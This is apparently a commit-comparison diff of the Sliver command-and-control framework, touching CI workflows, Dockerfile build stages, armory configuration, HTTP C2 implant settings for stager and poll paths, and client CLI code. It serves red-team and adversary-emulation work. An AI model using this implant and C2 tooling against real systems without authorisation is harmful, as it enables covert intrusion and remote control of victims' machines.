Compare commits

..
3804 changed files with 2032331 additions and 3713046 deletions

No files matched your search

+5 -5
View File
@@ -31,7 +31,7 @@ jobs:
run: make servers run: make servers
- name: Server Artifacts - name: Server Artifacts
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v3
with: with:
name: servers name: servers
path: ./sliver-server_* path: ./sliver-server_*
@@ -42,10 +42,10 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 45 timeout-minutes: 45
steps: steps:
- name: Go 1.22 - name: Go 1.21
uses: actions/setup-go@v5 uses: actions/setup-go@v5
with: with:
go-version: "^1.22" go-version: "^1.21"
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v4 uses: actions/checkout@v4
@@ -57,7 +57,7 @@ jobs:
run: make clients run: make clients
- name: Client Artifacts - name: Client Artifacts
uses: actions/upload-artifact@v4 uses: actions/upload-artifact@v3
with: with:
name: clients name: clients
path: ./sliver-client_* path: ./sliver-client_*
@@ -72,7 +72,7 @@ jobs:
steps: steps:
- run: mkdir -p ./builds - run: mkdir -p ./builds
- uses: actions/download-artifact@v4 - uses: actions/download-artifact@v3
with: with:
path: ./builds path: ./builds
+4 -4
View File
@@ -16,10 +16,10 @@ jobs:
steps: steps:
# Setup go environment # Setup go environment
- name: Go 1.22 - name: Go 1.21
uses: actions/setup-go@v5 uses: actions/setup-go@v5
with: with:
go-version: "^1.22" go-version: "^1.21"
- name: Checkout repository - name: Checkout repository
uses: actions/checkout@v4 uses: actions/checkout@v4
@@ -39,7 +39,7 @@ jobs:
uses: actions/checkout@v4 uses: actions/checkout@v4
- name: Initialize CodeQL - name: Initialize CodeQL
uses: github/codeql-action/init@v3 uses: github/codeql-action/init@v2
with: with:
config-file: ./.github/codeql/codeql-config.yml config-file: ./.github/codeql/codeql-config.yml
languages: go languages: go
@@ -48,6 +48,6 @@ jobs:
run: make run: make
- name: Perform CodeQL Analysis - name: Perform CodeQL Analysis
uses: github/codeql-action/analyze@v3 uses: github/codeql-action/analyze@v2
env: env:
VERSION: ${{github.sha}} VERSION: ${{github.sha}}
+5 -5
View File
@@ -35,7 +35,7 @@ jobs:
steps: steps:
- name: Checkout - name: Checkout
uses: actions/checkout@v4 uses: actions/checkout@v3
- name: Detect package manager - name: Detect package manager
id: detect-package-manager id: detect-package-manager
@@ -63,10 +63,10 @@ jobs:
node-version: "lts/*" node-version: "lts/*"
- name: Setup Pages - name: Setup Pages
uses: actions/configure-pages@v5 uses: actions/configure-pages@v3
- name: Restore cache - name: Restore cache
uses: actions/cache@v4 uses: actions/cache@v3
with: with:
path: | path: |
.next/cache .next/cache
@@ -85,7 +85,7 @@ jobs:
run: ${{ steps.detect-package-manager.outputs.runner }} next build run: ${{ steps.detect-package-manager.outputs.runner }} next build
- name: Upload artifact - name: Upload artifact
uses: actions/upload-pages-artifact@v3 uses: actions/upload-pages-artifact@v1
with: with:
path: ${{ github.workspace }}/docs/sliver-docs/out path: ${{ github.workspace }}/docs/sliver-docs/out
@@ -99,4 +99,4 @@ jobs:
steps: steps:
- name: Deploy to GitHub Pages - name: Deploy to GitHub Pages
id: deployment id: deployment
uses: actions/deploy-pages@v4 uses: actions/deploy-pages@v2
+11 -7
View File
@@ -23,15 +23,16 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 90 timeout-minutes: 90
steps: steps:
- name: Go 1.22 - name: Go 1.21
uses: actions/setup-go@v5 uses: actions/setup-go@v5
with: with:
go-version: "^1.22" go-version: "^1.21"
- name: OS Packages - name: OS Packages
run: | run: |
sudo apt-get update --fix-missing && sudo apt-get -y install \ sudo apt-get update --fix-missing && sudo apt-get -y install \
git build-essential zlib1g zlib1g-dev wget zip unzip git build-essential zlib1g zlib1g-dev wget zip unzip \
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v4 uses: actions/checkout@v4
@@ -56,10 +57,10 @@ jobs:
runs-on: macos-latest runs-on: macos-latest
timeout-minutes: 90 timeout-minutes: 90
steps: steps:
- name: Go 1.22 - name: Go 1.21
uses: actions/setup-go@v5 uses: actions/setup-go@v5
with: with:
go-version: "^1.22" go-version: "^1.21"
- name: Mingw - name: Mingw
run: brew install mingw-w64 run: brew install mingw-w64
@@ -74,6 +75,9 @@ jobs:
run: make macos-amd64 run: make macos-amd64
- name: Test MacOS (amd64) - name: Test MacOS (amd64)
env:
SLIVER_CC_32: /usr/local/bin/i686-w64-mingw32-gcc
SLIVER_CC_64: /usr/local/bin/x86_64-w64-mingw32-gcc
run: ./sliver-server unpack --force && ./go-tests.sh run: ./sliver-server unpack --force && ./go-tests.sh
- name: Make MacOS (arm64) - name: Make MacOS (arm64)
@@ -84,10 +88,10 @@ jobs:
runs-on: ubuntu-latest runs-on: ubuntu-latest
timeout-minutes: 90 timeout-minutes: 90
steps: steps:
- name: Go 1.22 - name: Go 1.21
uses: actions/setup-go@v5 uses: actions/setup-go@v5
with: with:
go-version: "^1.22" go-version: "^1.21"
- name: Check Out Code - name: Check Out Code
uses: actions/checkout@v4 uses: actions/checkout@v4
+12 -7
View File
@@ -9,7 +9,7 @@
# STAGE: base # STAGE: base
## Compiles Sliver for use ## Compiles Sliver for use
FROM golang:1.23.5 AS base FROM --platform=linux/amd64 golang:1.21.4 as base
### Base packages ### Base packages
RUN apt-get update --fix-missing && apt-get -y install \ RUN apt-get update --fix-missing && apt-get -y install \
@@ -29,12 +29,12 @@ RUN cp -vv sliver-server /opt/sliver-server
# STAGE: test # STAGE: test
## Run unit tests against the compiled instance ## Run unit tests against the compiled instance
## Use `--target test` in the docker build command to run this stage ## Use `--target test` in the docker build command to run this stage
FROM base AS test FROM --platform=linux/amd64 base as test
RUN apt-get update --fix-missing \ RUN apt-get update --fix-missing \
&& apt-get -y upgrade \ && apt-get -y upgrade \
&& apt-get -y install \ && apt-get -y install \
curl curl gcc-multilib build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64
RUN /opt/sliver-server unpack --force RUN /opt/sliver-server unpack --force
@@ -43,7 +43,7 @@ RUN /go/src/github.com/bishopfox/sliver/go-tests.sh
# STAGE: production # STAGE: production
## Final dockerized form of Sliver ## Final dockerized form of Sliver
FROM debian:bookworm-slim AS production FROM --platform=linux/amd64 debian:bookworm-slim as production
### Install production packages ### Install production packages
RUN apt-get update --fix-missing \ RUN apt-get update --fix-missing \
@@ -56,7 +56,8 @@ RUN apt-get update --fix-missing \
postgresql-contrib postgresql-client libpq-dev \ postgresql-contrib postgresql-client libpq-dev \
curl libapr1 libaprutil1 libsvn1 \ curl libapr1 libaprutil1 libsvn1 \
libpcap-dev libsqlite3-dev libgmp3-dev \ libpcap-dev libsqlite3-dev libgmp3-dev \
nasm mingw-w64 binutils-mingw-w64 g++-mingw-w64 \
nasm gcc-multilib
### Install MSF for stager generation ### Install MSF for stager generation
RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \ RUN curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall \
@@ -91,11 +92,15 @@ ENTRYPOINT [ "/opt/sliver-server" ]
# STAGE: production-slim (about 1Gb smaller) # STAGE: production-slim (about 1Gb smaller)
FROM debian:bookworm-slim AS production-slim ### Slim production image, i.e. without MSF and assoicated libraries
### Still include GCC and MinGW for cross-platform generation
FROM --platform=linux/amd64 debian:bookworm-slim as production-slim
### Install production packages ### Install production packages
RUN apt-get update --fix-missing \ RUN apt-get update --fix-missing \
&& apt-get -y upgrade && apt-get -y upgrade \
&& apt-get -y install \
build-essential mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
### Cleanup unneeded packages ### Cleanup unneeded packages
RUN apt-get autoremove -y \ RUN apt-get autoremove -y \
+2 -2
View File
@@ -8,7 +8,7 @@ The server and client support MacOS, Windows, and Linux. Implants are supported
# v1.6.0 / `master` # v1.6.0 / `master`
**NOTE:** You are looking at the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience. **NOTE:** You are looking the latest master branch of Sliver v1.6.0; new PRs should target this branch. However, this branch is NOT RECOMMENDED for production use yet. Please use release tagged versions for the best experience.
For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master). For PRs containing bug fixes specific to Sliver v1.5, please target the [`v1.5.x/master` branch](https://github.com/BishopFox/sliver/tree/v1.5.x/master).
@@ -47,7 +47,7 @@ See the [wiki](https://sliver.sh/docs?name=Compile+from+Source).
### Feedback ### Feedback
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6). Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
### License - GPLv3 ### License - GPLv3
+11 -50
View File
@@ -27,8 +27,7 @@ import (
) )
const ( const (
ArmoryConfigFileName = "armories.json" armoryConfigFileName = "armories.json"
DefaultArmoryName = "Default"
) )
var ( var (
@@ -37,11 +36,9 @@ var (
// DefaultArmoryRepoURL - The default repo url for the armory // DefaultArmoryRepoURL - The default repo url for the armory
DefaultArmoryRepoURL string DefaultArmoryRepoURL string
DefaultArmoryConfig = &ArmoryConfig{ defaultArmoryConfig = &ArmoryConfig{
PublicKey: DefaultArmoryPublicKey, PublicKey: DefaultArmoryPublicKey,
RepoURL: DefaultArmoryRepoURL, RepoURL: DefaultArmoryRepoURL,
Name: DefaultArmoryName,
Enabled: true,
} }
) )
@@ -51,65 +48,29 @@ type ArmoryConfig struct {
RepoURL string `json:"repo_url"` RepoURL string `json:"repo_url"`
Authorization string `json:"authorization"` Authorization string `json:"authorization"`
AuthorizationCmd string `json:"authorization_cmd"` AuthorizationCmd string `json:"authorization_cmd"`
Name string `json:"name"`
Enabled bool `json:"enabled"`
}
func RefreshArmoryAuthorization(armories []*ArmoryConfig) {
for _, armoryConfig := range armories {
if armoryConfig.AuthorizationCmd != "" {
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
}
}
} }
// GetArmoriesConfig - The parsed armory config file // GetArmoriesConfig - The parsed armory config file
func GetArmoriesConfig() []*ArmoryConfig { func GetArmoriesConfig() []*ArmoryConfig {
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName) armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) { if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
return []*ArmoryConfig{DefaultArmoryConfig} return []*ArmoryConfig{defaultArmoryConfig}
} }
data, err := os.ReadFile(armoryConfigPath) data, err := os.ReadFile(armoryConfigPath)
if err != nil { if err != nil {
return []*ArmoryConfig{DefaultArmoryConfig} return []*ArmoryConfig{defaultArmoryConfig}
} }
var armoryConfigsFromFile []*ArmoryConfig
var armoryConfigs []*ArmoryConfig var armoryConfigs []*ArmoryConfig
err = json.Unmarshal(data, &armoryConfigsFromFile) err = json.Unmarshal(data, &armoryConfigs)
if err != nil { if err != nil {
return []*ArmoryConfig{DefaultArmoryConfig} return []*ArmoryConfig{defaultArmoryConfig}
} }
for _, armoryConfig := range armoryConfigs {
// Force the default armory to be the last if armoryConfig.AuthorizationCmd != "" {
defaultArmorySpecified := false armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
for _, config := range armoryConfigsFromFile {
if config.Name == DefaultArmoryName {
defaultArmorySpecified = true
continue
} else {
armoryConfigs = append(armoryConfigs, config)
} }
} }
if defaultArmorySpecified { return append(armoryConfigs, defaultArmoryConfig)
armoryConfigs = append(armoryConfigs, DefaultArmoryConfig)
}
RefreshArmoryAuthorization(armoryConfigs)
return armoryConfigs
}
func SaveArmoriesConfig(armories []*ArmoryConfig) error {
configData, err := json.Marshal(armories)
if err != nil {
return err
}
armoryConfigPath := filepath.Join(GetRootAppDir(), ArmoryConfigFileName)
err = os.WriteFile(armoryConfigPath, configData, 0640)
if err != nil {
return err
}
return nil
} }
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string { func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
+25 -12
View File
@@ -35,7 +35,7 @@ type NameValueProbability struct {
Name string `json:"name"` Name string `json:"name"`
Value string `json:"value"` Value string `json:"value"`
Probability int `json:"probability"` Probability int `json:"probability"`
Method string `json:"method"` Methods []string
} }
// HTTPC2ImplantConfig - Implant configuration options // HTTPC2ImplantConfig - Implant configuration options
@@ -57,17 +57,30 @@ type HTTPC2ImplantConfig struct {
NonceQueryArgChars string `json:"nonce_query_args"` NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"` URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"` Headers []NameValueProbability `json:"headers"`
NonceQueryLength int `json:"nonce_query_length"`
NonceMode string `json:"nonce_mode"`
MaxFileGen int `json:"max_files"` MaxFiles int `json:"max_files"`
MinFileGen int `json:"min_files"` MinFiles int `json:"min_files"`
MaxPathGen int `json:"max_paths"` MaxPaths int `json:"max_paths"`
MinPathGen int `json:"min_paths"` MinPaths int `json:"min_paths"`
MaxPathLength int `json:"max_path_length"`
MinPathLength int `json:"min_path_length"`
Extensions []string `json:"extensions"` // Stager files and paths
Files []string `json:"files"` StagerFileExt string `json:"stager_file_ext"`
Paths []string `json:"paths"` StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
} }
+8 -9
View File
@@ -24,17 +24,20 @@ import (
"os" "os"
"path" "path"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/version"
) )
const ( const (
logFileName = "sliver-client.log" logFileName = "sliver-client.log"
) )
// Initialize logging. var sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
// Initialize logging
func initLogging(appDir string) *os.File { func initLogging(appDir string) *os.File {
log.SetFlags(log.LstdFlags | log.Lshortfile) log.SetFlags(log.LstdFlags | log.Lshortfile)
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600) logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0o600)
@@ -46,10 +49,6 @@ func initLogging(appDir string) *os.File {
} }
func init() { func init() {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
rootCmd.TraverseChildren = true rootCmd.TraverseChildren = true
// Create the console client, without any RPC or commands bound to it yet. // Create the console client, without any RPC or commands bound to it yet.
@@ -89,10 +88,10 @@ var rootCmd = &cobra.Command{
Long: ``, Long: ``,
} }
// Execute - Execute root command. // Execute - Execute root command
func Execute() { func Execute() {
if err := rootCmd.Execute(); err != nil { if err := rootCmd.Execute(); err != nil {
fmt.Printf("root command: %s\n", err) fmt.Println(err)
os.Exit(1) os.Exit(1)
} }
} }
+1
View File
@@ -23,6 +23,7 @@ import (
"sort" "sort"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"gopkg.in/AlecAivazis/survey.v1" "gopkg.in/AlecAivazis/survey.v1"
) )
+10 -42
View File
@@ -1,53 +1,37 @@
package cli package cli
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import ( import (
"context"
"fmt" "fmt"
"os"
"github.com/spf13/cobra"
"google.golang.org/grpc"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/transport" "github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/rpcpb" "github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/spf13/cobra"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
) )
// consoleCmd generates the console with required pre/post runners. // consoleCmd generates the console with required pre/post runners
func consoleCmd(con *console.SliverClient) *cobra.Command { func consoleCmd(con *console.SliverConsoleClient) *cobra.Command {
consoleCmd := &cobra.Command{ consoleCmd := &cobra.Command{
Use: "console", Use: "console",
Short: "Start the sliver client console", Short: "Start the sliver client console",
} }
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true) consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
return consoleCmd return consoleCmd
} }
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) { func consoleRunnerCmd(con *console.SliverConsoleClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
var ln *grpc.ClientConn var ln *grpc.ClientConn
pre = func(_ *cobra.Command, _ []string) error { pre = func(_ *cobra.Command, _ []string) error {
appDir := assets.GetRootAppDir()
logFile := initLogging(appDir)
defer logFile.Close()
configs := assets.GetConfigs() configs := assets.GetConfigs()
if len(configs) == 0 { if len(configs) == 0 {
@@ -73,9 +57,6 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
return nil return nil
} }
// Wait for any connection state changes and exit if the connection is lost.
go handleConnectionLost(ln)
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run) return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
} }
@@ -90,16 +71,3 @@ func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *
return pre, post return pre, post
} }
func handleConnectionLost(ln *grpc.ClientConn) {
currentState := ln.GetState()
// currentState should be "Ready" when the connection is established.
if ln.WaitForStateChange(context.Background(), currentState) {
newState := ln.GetState()
// newState will be "Idle" if the connection is lost.
if newState == connectivity.Idle {
fmt.Println("\nLost connection to server. Exiting now.")
os.Exit(1)
}
}
}
+9 -26
View File
@@ -1,36 +1,19 @@
package cli package cli
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import ( import (
"errors" "errors"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
"github.com/bishopfox/sliver/client/command" "github.com/bishopfox/sliver/client/command"
"github.com/bishopfox/sliver/client/command/use" "github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
) )
func implantCmd(con *console.SliverClient) *cobra.Command { func implantCmd(con *console.SliverConsoleClient) *cobra.Command {
con.IsCLI = true con.IsCLI = true
makeCommands := command.SliverCommands(con) makeCommands := command.SliverCommands(con)
@@ -42,7 +25,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
implantFlags.StringP("use", "s", "", "interact with a session") implantFlags.StringP("use", "s", "", "interact with a session")
cmd.Flags().AddFlagSet(implantFlags) cmd.Flags().AddFlagSet(implantFlags)
// Pre-runners (console setup, connection, etc) // Prerunners (console setup, connection, etc)
cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con) cmd.PersistentPreRunE, cmd.PersistentPostRunE = makeRunners(cmd, con)
// Completions // Completions
@@ -51,7 +34,7 @@ func implantCmd(con *console.SliverClient) *cobra.Command {
return cmd return cmd
} }
func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, post func(cmd *cobra.Command, args []string) error) { func makeRunners(implantCmd *cobra.Command, con *console.SliverConsoleClient) (pre, post func(cmd *cobra.Command, args []string) error) {
startConsole, closeConsole := consoleRunnerCmd(con, false) startConsole, closeConsole := consoleRunnerCmd(con, false)
// The pre-run function connects to the server and sets up a "fake" console, // The pre-run function connects to the server and sets up a "fake" console,
@@ -76,7 +59,7 @@ func makeRunners(implantCmd *cobra.Command, con *console.SliverClient) (pre, pos
return pre, closeConsole return pre, closeConsole
} }
func makeCompleters(cmd *cobra.Command, con *console.SliverClient) { func makeCompleters(cmd *cobra.Command, con *console.SliverConsoleClient) {
comps := carapace.Gen(cmd) comps := carapace.Gen(cmd)
comps.PreRun(func(cmd *cobra.Command, args []string) { comps.PreRun(func(cmd *cobra.Command, args []string) {
@@ -84,7 +67,7 @@ func makeCompleters(cmd *cobra.Command, con *console.SliverClient) {
}) })
// Bind completers to flags (wrap them to use the same pre-runners) // Bind completers to flags (wrap them to use the same pre-runners)
command.BindFlagCompletions(cmd, func(comp *carapace.ActionMap) { command.FlagComps(cmd, func(comp *carapace.ActionMap) {
(*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action { (*comp)["use"] = carapace.ActionCallback(func(c carapace.Context) carapace.Action {
cmd.PersistentPreRunE(cmd, c.Args) cmd.PersistentPreRunE(cmd, c.Args)
return use.SessionIDCompleter(con) return use.SessionIDCompleter(con)
+2 -1
View File
@@ -22,9 +22,10 @@ import (
"fmt" "fmt"
"os" "os"
"github.com/bishopfox/sliver/client/assets"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets"
) )
func importCmd() *cobra.Command { func importCmd() *cobra.Command {
+2 -1
View File
@@ -21,8 +21,9 @@ package cli
import ( import (
"fmt" "fmt"
"github.com/bishopfox/sliver/client/version"
"github.com/spf13/cobra" "github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/version"
) )
var cmdVersion = &cobra.Command{ var cmdVersion = &cobra.Command{
+8 -7
View File
@@ -27,14 +27,15 @@ import (
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command/settings" "github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table" "github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text" "github.com/jedib0t/go-pretty/v6/text"
"github.com/rsteube/carapace" "github.com/rsteube/carapace"
"github.com/spf13/cobra" "github.com/spf13/cobra"
) )
// AliasesCmd - The alias command. // AliasesCmd - The alias command
func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) error { func AliasesCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) error {
if 0 < len(loadedAliases) { if 0 < len(loadedAliases) {
PrintAliases(con) PrintAliases(con)
} else { } else {
@@ -44,8 +45,8 @@ func AliasesCmd(cmd *cobra.Command, con *console.SliverClient, args []string) er
return nil return nil
} }
// PrintAliases - Print a list of loaded aliases. // PrintAliases - Print a list of loaded aliases
func PrintAliases(con *console.SliverClient) { func PrintAliases(con *console.SliverConsoleClient) {
tw := table.NewWriter() tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con)) tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{ tw.AppendHeader(table.Row{
@@ -87,8 +88,8 @@ func PrintAliases(con *console.SliverClient) {
con.Println(tw.Render()) con.Println(tw.Render())
} }
// AliasCommandNameCompleter - Completer for installed extensions command names. // AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverClient) []string { func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
results := []string{} results := []string{}
for name := range loadedAliases { for name := range loadedAliases {
if strings.HasPrefix(name, prefix) { if strings.HasPrefix(name, prefix) {
@@ -128,7 +129,7 @@ func getInstalledManifests() map[string]*AliasManifest {
return installedManifests return installedManifests
} }
// AliasCommandNameCompleter - Completer for installed extensions command names. // AliasCommandNameCompleter - Completer for installed extensions command names
func AliasCompleter() carapace.Action { func AliasCompleter() carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action { return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
results := []string{} results := []string{}
-61
View File
@@ -1,61 +0,0 @@
package alias
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// Commands returns the `alias` command and its child commands.
func Commands(con *console.SliverClient) []*cobra.Command {
aliasCmd := &cobra.Command{
Use: consts.AliasesStr,
Short: "List current aliases",
Long: help.GetHelpFor([]string{consts.AliasesStr}),
Run: func(cmd *cobra.Command, args []string) {
AliasesCmd(cmd, con, args)
},
GroupID: consts.GenericHelpGroup,
}
aliasLoadCmd := &cobra.Command{
Use: consts.LoadStr + " [ALIAS]",
Short: "Load a command alias",
Long: help.GetHelpFor([]string{consts.AliasesStr, consts.LoadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AliasesLoadCmd(cmd, con, args)
},
}
aliasCmd.AddCommand(aliasLoadCmd)
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
aliasInstallCmd := &cobra.Command{
Use: consts.InstallStr + " [ALIAS]",
Short: "Install a command alias",
Long: help.GetHelpFor([]string{consts.AliasesStr, consts.InstallStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AliasesInstallCmd(cmd, con, args)
},
}
aliasCmd.AddCommand(aliasInstallCmd)
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
aliasRemove := &cobra.Command{
Use: consts.RmStr + " [ALIAS]",
Short: "Remove an alias",
Long: help.GetHelpFor([]string{consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
AliasesRemoveCmd(cmd, con, args)
},
}
flags.NewCompletions(aliasRemove).PositionalCompletion(AliasCompleter())
aliasCmd.AddCommand(aliasRemove)
return []*cobra.Command{aliasCmd}
}
+14 -19
View File
@@ -25,29 +25,30 @@ import (
"strings" "strings"
"github.com/AlecAivazis/survey/v2" "github.com/AlecAivazis/survey/v2"
"github.com/spf13/cobra"
"github.com/bishopfox/sliver/client/assets" "github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console" "github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/util" "github.com/bishopfox/sliver/util"
"github.com/spf13/cobra"
) )
// AliasesInstallCmd - Install an alias. // AliasesInstallCmd - Install an alias
func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { func AliasesInstallCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
aliasLocalPath := args[0] aliasLocalPath := args[0]
fi, err := os.Stat(aliasLocalPath) fi, err := os.Stat(aliasLocalPath)
if os.IsNotExist(err) { if os.IsNotExist(err) {
con.PrintErrorf("Alias path '%s' does not exist", aliasLocalPath) con.PrintErrorf("Extension path '%s' does not exist", aliasLocalPath)
return return
} }
if !fi.IsDir() { if !fi.IsDir() {
InstallFromFile(aliasLocalPath, "", false, con) InstallFromFile(aliasLocalPath, false, con)
} else { } else {
installFromDir(aliasLocalPath, con) installFromDir(aliasLocalPath, con)
} }
} }
// Install an extension from a directory. // Install an extension from a directory
func installFromDir(aliasLocalPath string, con *console.SliverClient) { func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName)) manifestData, err := os.ReadFile(filepath.Join(aliasLocalPath, ManifestFileName))
if err != nil { if err != nil {
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
@@ -99,8 +100,8 @@ func installFromDir(aliasLocalPath string, con *console.SliverClient) {
con.Printf("done!\n") con.Printf("done!\n")
} }
// Install an extension from a .tar.gz file. // Install an extension from a .tar.gz file
func InstallFromFile(aliasGzFilePath string, aliasName string, promptToOverwrite bool, con *console.SliverClient) *string { func InstallFromFile(aliasGzFilePath string, autoOverwrite bool, con *console.SliverConsoleClient) *string {
manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName)) manifestData, err := util.ReadFileFromTarGz(aliasGzFilePath, fmt.Sprintf("./%s", ManifestFileName))
if err != nil { if err != nil {
